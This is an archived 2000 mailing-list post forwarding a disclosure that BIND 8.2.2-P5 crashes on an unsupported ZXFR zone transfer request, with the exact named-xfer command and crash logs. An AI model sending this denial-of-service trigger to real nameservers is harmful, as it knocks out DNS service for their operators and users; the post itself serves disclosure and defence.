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Date:      Wed, 8 Nov 2000 19:02:24 +0000
From:      Jamie Heckford <heckfordj@psi-domain.co.uk>
To:        freebsd-isp@freebsd.org
Subject:   BIND 8.2.2-P5 Possible DOS
Message-ID:  <00110819041604.01782@freefire.psi-domain.co.uk>

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Verified this earlier... make sure your nameservers are configured correctly!!

Nov  8 19:00:47 atlas named-xfer[78583]: [x.x.x.x] no SOA found for xxx, SOA
query got rcode 3, aa 1, ancount 0, auc ount 1

Nov  8 19:01:05 atlas named[276]: unsupported XFR (type ZXFR) of "xxx" (IN) to
[x.x.x.x].1368 Nov  8 19:01:21 atlas named[276]: d_rcnt-- == 0

Nov  8 19:01:21 atlas /kernel: pid 276 (named), uid 53: exited on signal 6

Nov  8 19:01:21 atlas named[276]: d_rcnt-- == 0


----------  Forwarded Message  ----------
Subject: BIND 8.2.2-P5 Possible DOS
Date: Tue, 7 Nov 2000 13:40:49 +0100
From: "Fabio Pietrosanti (naif)" <fabio@TELEMAIL.IT>


Hi,
playing with bind and ZXFR feature ( zone transfer compressed with a possible insecure
execlp("gzip", "gzip", NULL); ), i discovered a Denial Of Service against Bind 8.2.2-P5 .

By default Bind 8.2.2-P5 it's not compiled with ZXFR support unless you define it with #define BIND_ZXFR
so it will refuse any ZXFR transfer, because it doesn't support it.
But now what appens? Look here...

################################
zone to transfer: zone.pippo.com
dns server:	  dns.pippo.com 192.168.1.1
me:		  naif.gatesux.com 10.10.10.10
I send a Zone Trasnfer request using "-Z" switch with means that i wish to use ZXFR.
dns.pippo.com does'nt support ZXFR and have "allow-transfer{}" not configured, so everyone
could ask him for *.zone.pippo.com ...

<naif@naif> [~/bind/src822p5/bin/named-xfer] $ ./named-xfer  -z zone.pippo.com  -d 9 -f pics -Z dns.pippo.com
named-xfer[29297]: send AXFR query 0 to 192.168.1.1
named-xfer[29297]: premature EOF, fetching "zone.pippo.com"

On the server's log:
Nov  7 11:19:09 dns.pippo.com: named[188510]: approved ZXFR from [10.10.10.10].2284 for "zone.pippo.com"
Nov  7 11:19:09 dns.pippo.com: named[188510]: unsupported XFR (type ZXFR) of "zone.pippo.com" (IN) to [10.10.10.10].2284

Then the server "*** CRASHED ***" .

I should assume that bind 8.2.2-P5 it's vulnerable ( Please someone test and confirm this kind of dos)
and bind-9.0.0 has no support for ZXFR .

<naif@naif> [~/bind] $ find src822p5/ -type f -exec grep -i zxfr \{\}  ';' | wc -l
    234
<naif@naif> [~/bind] $ find bind-9.0.0/ -type f -exec grep -i zxfr \{\}  ';' | wc -l
      0

A lot of DNS Server are misconfigured, and allow zone-transfer to any, so they are dossable...


naif
naif@itapac.net
-------------------------------------------------------

-- 
Jamie Heckford
Chief Network Engineer
Psi-Domain - Innovative Linux Solutions. Ask Us How.

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